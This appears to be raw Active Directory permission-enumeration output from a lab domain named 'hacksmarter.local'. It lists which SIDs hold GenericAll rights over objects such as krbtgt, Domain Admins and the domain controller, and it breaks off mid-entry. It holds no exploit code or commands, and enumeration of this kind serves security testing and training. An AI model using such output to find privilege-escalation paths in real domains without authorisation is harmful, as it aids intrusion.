S-1-5-18 GenericAll CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-18 GenericAll CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-18 GenericAll CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-18 GenericAll CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-18 GenericAll CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-18 GenericAll CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-18 GenericAll CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-18 GenericAll CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-18 GenericAll CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-18 GenericAll CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-18 GenericAll CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-18 GenericAll CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-18 GenericAll CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-18 GenericAll CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-18 GenericAll CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-18 GenericAll CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-18 GenericAll CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-18 GenericAll CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-18 GenericAll CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-18 GenericAll CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-18 GenericAll CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-18 GenericAll CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-18 GenericAll CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-18 GenericAll CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-18 GenericAll CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-18 GenericAll CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... S-1-5-18 GenericAll CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-18 GenericAll CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-18 GenericAll CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-18 GenericAll CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-18 GenericAll CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-18 GenericAll CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-18 GenericAll CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-18 GenericAll CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-18 GenericAll CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-18 GenericAll CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-18 GenericAll CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-18 GenericAll CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-18 GenericAll CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-18 GenericAll CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Password Settings Container,CN=System,D... S-1-5-18 GenericAll CN=Password Settings Container,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=PSPs,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=PSPs,CN=System,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=PSPs,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=TPM Devices,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=TPM Devices,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=TPM Devices,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-18 GenericAll CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Builtin,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-18 GenericAll CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-32-548 GenericAll CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-18 GenericAll CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-32-548 GenericAll CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-18 GenericAll CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-548 GenericAll CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-18 GenericAll CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-18 GenericAll CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-18 GenericAll CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-32-548 GenericAll CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-18 GenericAll CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Network Configuration Operators,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Network Configuration Operators,CN=Buil... S-1-5-32-548 GenericAll CN=Network Configuration Operators,CN=Buil... S-1-5-18 GenericAll CN=Network Configuration Operators,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-32-548 GenericAll CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-18 GenericAll CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-32-548 GenericAll CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-18 GenericAll CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-32-548 GenericAll CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-18 GenericAll CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-32-548 GenericAll CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-18 GenericAll CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-32-548 GenericAll CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-18 GenericAll CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-32-548 GenericAll CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-18 GenericAll CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-32-548 GenericAll CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-18 GenericAll CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Certificate Service DCOM Access,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Certificate Service DCOM Access,CN=Buil... S-1-5-32-548 GenericAll CN=Certificate Service DCOM Access,CN=Buil... S-1-5-18 GenericAll CN=Certificate Service DCOM Access,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-32-548 GenericAll CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-18 GenericAll CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-32-548 GenericAll CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-18 GenericAll CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-32-548 GenericAll CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-18 GenericAll CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-32-548 GenericAll CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-18 GenericAll CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Access Control Assistance Operators,CN=... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Access Control Assistance Operators,CN=... S-1-5-32-548 GenericAll CN=Access Control Assistance Operators,CN=... S-1-5-18 GenericAll CN=Access Control Assistance Operators,CN=... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-32-548 GenericAll CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-18 GenericAll CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Storage Replica Administrators,CN=Built... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Storage Replica Administrators,CN=Built... S-1-5-32-548 GenericAll CN=Storage Replica Administrators,CN=Built... S-1-5-18 GenericAll CN=Storage Replica Administrators,CN=Built... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Server,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Server,CN=System,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Server,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=DC01,OU=Domain Controllers,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=DC01,OU=Domain Controllers,DC=hacksmart... S-1-5-18 GenericAll CN=DC01,OU=Domain Controllers,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-32-548 GenericAll CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-18 GenericAll CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-18 GenericAll CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-18 GenericAll CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-18 GenericAll CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-32-548 GenericAll CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-18 GenericAll CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-18 GenericAll CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-32-548 GenericAll CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-18 GenericAll CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-32-548 GenericAll CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-18 GenericAll CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-32-548 GenericAll CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-18 GenericAll CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-32-548 GenericAll CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-18 GenericAll CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-18 GenericAll CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-18 GenericAll CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-32-548 GenericAll CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-18 GenericAll CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Incoming Forest Trust Builders,CN=Built... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Incoming Forest Trust Builders,CN=Built... S-1-5-32-548 GenericAll CN=Incoming Forest Trust Builders,CN=Built... S-1-5-18 GenericAll CN=Incoming Forest Trust Builders,CN=Built... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Windows Authorization Access Group,CN=B... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Windows Authorization Access Group,CN=B... S-1-5-32-548 GenericAll CN=Windows Authorization Access Group,CN=B... S-1-5-18 GenericAll CN=Windows Authorization Access Group,CN=B... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Terminal Server License Servers,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Terminal Server License Servers,CN=Buil... S-1-5-32-548 GenericAll CN=Terminal Server License Servers,CN=Buil... S-1-5-18 GenericAll CN=Terminal Server License Servers,CN=Buil... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-32-548 GenericAll CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-18 GenericAll CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN... S-1-5-18 GenericAll CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Allowed RODC Password Replication Group... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Allowed RODC Password Replication Group... S-1-5-32-548 GenericAll CN=Allowed RODC Password Replication Group... S-1-5-18 GenericAll CN=Allowed RODC Password Replication Group... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Denied RODC Password Replication Group,... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Denied RODC Password Replication Group,... S-1-5-32-548 GenericAll CN=Denied RODC Password Replication Group,... S-1-5-18 GenericAll CN=Denied RODC Password Replication Group,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Read-only Domain Controllers,CN=Users,D... S-1-5-18 GenericAll CN=Enterprise Read-only Domain Controllers... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Enterprise Read-only Domain Controllers... S-1-5-32-548 GenericAll CN=Enterprise Read-only Domain Controllers... S-1-5-18 GenericAll CN=Enterprise Read-only Domain Controllers... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-32-548 GenericAll CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-18 GenericAll CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-32-548 GenericAll CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-18 GenericAll CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Key 